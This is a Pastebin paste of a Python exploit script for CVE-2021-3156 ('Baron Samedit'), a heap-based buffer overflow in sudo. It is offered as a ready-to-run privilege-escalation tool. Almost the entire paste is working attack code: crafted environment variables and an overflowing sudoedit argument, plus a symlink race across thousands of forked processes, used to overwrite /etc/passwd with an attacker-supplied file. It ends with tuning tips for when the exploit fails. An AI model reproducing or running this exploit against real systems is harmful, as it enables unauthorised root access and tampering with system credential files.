khaclep007

Untitled

Dec 28th, 2021 (edited)
1,086
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.53 KB | None | 0 0
  1. # Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)
  2. # Date: 2021-02-02
  3. # Exploit Author: West Shepherd
  4. # Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1.
  5. # Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31
  6. # CVE : CVE-2021-3156
  7. # Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code.
  8. # Sources:
  9. # (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
  10. # (2) https://github.com/stong/CVE-2021-3156
  11. # Requirements: Python3
  12.  
  13. #!/usr/bin/python3
  14. import os
  15. import pwd
  16. import time
  17. import sys
  18. import argparse
  19.  
  20.  
  21. class Exploit(object):
  22.     username = ''
  23.     size = 0
  24.     data = ''
  25.  
  26.     def __init__(self, source, target, sleep):
  27.         self.sleep = sleep
  28.         self.source = source
  29.         self.target = target
  30.  
  31.     @staticmethod
  32.     def readFile(path):
  33.         return open(path, 'r').read()
  34.  
  35.     @staticmethod
  36.     def getUser():
  37.         return pwd.getpwuid(os.getuid())[0]
  38.  
  39.     @staticmethod
  40.     def getSize(path):
  41.         return os.stat(path).st_size
  42.  
  43.     def main(self):
  44.         self.username = self.getUser()
  45.         self.data = self.readFile(self.source)
  46.         self.size = self.getSize(self.target)
  47.         environ = {
  48.             '\n\n\n\n\n': '\n' + self.data,
  49.             'SUDO_ASKPASS': '/bin/false',
  50.             'LANG':
  51. 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
  52.             'A': 'A' * 0xffff
  53.         }
  54.         for i in range(5000):
  55.             directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
  56.             overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory
  57.  
  58.             if os.path.exists(directory):
  59.                 sys.stdout.write('file exists %s\n' % directory)
  60.                 continue
  61.  
  62.             child = os.fork()
  63.             os.environ = environ
  64.             if child:
  65.                 sys.stdout.write('[+] parent %d \n' % i)
  66.                 sys.stdout.flush()
  67.                 time.sleep(self.sleep)
  68.                 if not os.path.exists(directory):
  69.                     try:
  70.                         os.mkdir(directory, 0o700)
  71.                         os.symlink(self.target, '%s/%s' % (directory,
  72. self.username))
  73.                         os.waitpid(child, 0)
  74.                     except:
  75.                         continue
  76.             else:
  77.                 sys.stdout.write('[+] child %d \n' % i)
  78.                 sys.stdout.flush()
  79.                 os.setpriority(os.PRIO_PROCESS, 0, 20)
  80.                 os.execve(
  81.                     path='/usr/bin/sudoedit',
  82.                     argv=[
  83.                         '/usr/bin/sudoedit',
  84.                         '-A',
  85.                         '-s',
  86.                         '\\',
  87.                         overflow
  88.                     ],
  89.                     env=environ
  90.                 )
  91.                 sys.stdout.write('[!] execve failed\n')
  92.                 sys.stdout.flush()
  93.                 os.abort()
  94.                 break
  95.  
  96.             if self.size != self.getSize(self.target):
  97.                 sys.stdout.write('[*] success at iteration %d \n' % i)
  98.                 sys.stdout.flush()
  99.                 break
  100.         sys.stdout.write("""
  101.            \nConsider the following if the exploit fails:
  102.            \n\t(1) If all directories are owned by root then sleep
  103. needs to be decreased.
  104.            \n\t(2) If they're all owned by you, then sleep needs
  105. increased.
  106.        """)
  107.  
  108.  
  109. if __name__ == '__main__':
  110.     parser = argparse.ArgumentParser(
  111.         add_help=True,
  112.         description='* Sudo Privilege Escalation / Heap Overflow -
  113. CVE-2021-3156 *'
  114.     )
  115.     try:
  116.         parser.add_argument('-source', action='store', help='Path to
  117. malicious "passwd" file to overwrite the target')
  118.         parser.add_argument('-target', action='store', help='Target
  119. file path to be overwritten (default: /etc/passwd)')
  120.         parser.add_argument('-sleep', action='store', help='Sleep
  121. setting for forked processes (default: 0.01 seconds')
  122.         parser.set_defaults(target='/etc/passwd', sleep='0.01')
  123.  
  124.         options = parser.parse_args()
  125.         if options.source is None:
  126.             parser.print_help()
  127.             sys.exit(1)
  128.  
  129.         exp = Exploit(
  130.             source=options.source,
  131.             target=options.target,
  132.             sleep=float(options.sleep)
  133.         )
  134.         exp.main()
  135.     except Exception as err:
  136.         sys.stderr.write(str(err))
Advertisement
Add Comment
Please, Sign In to add comment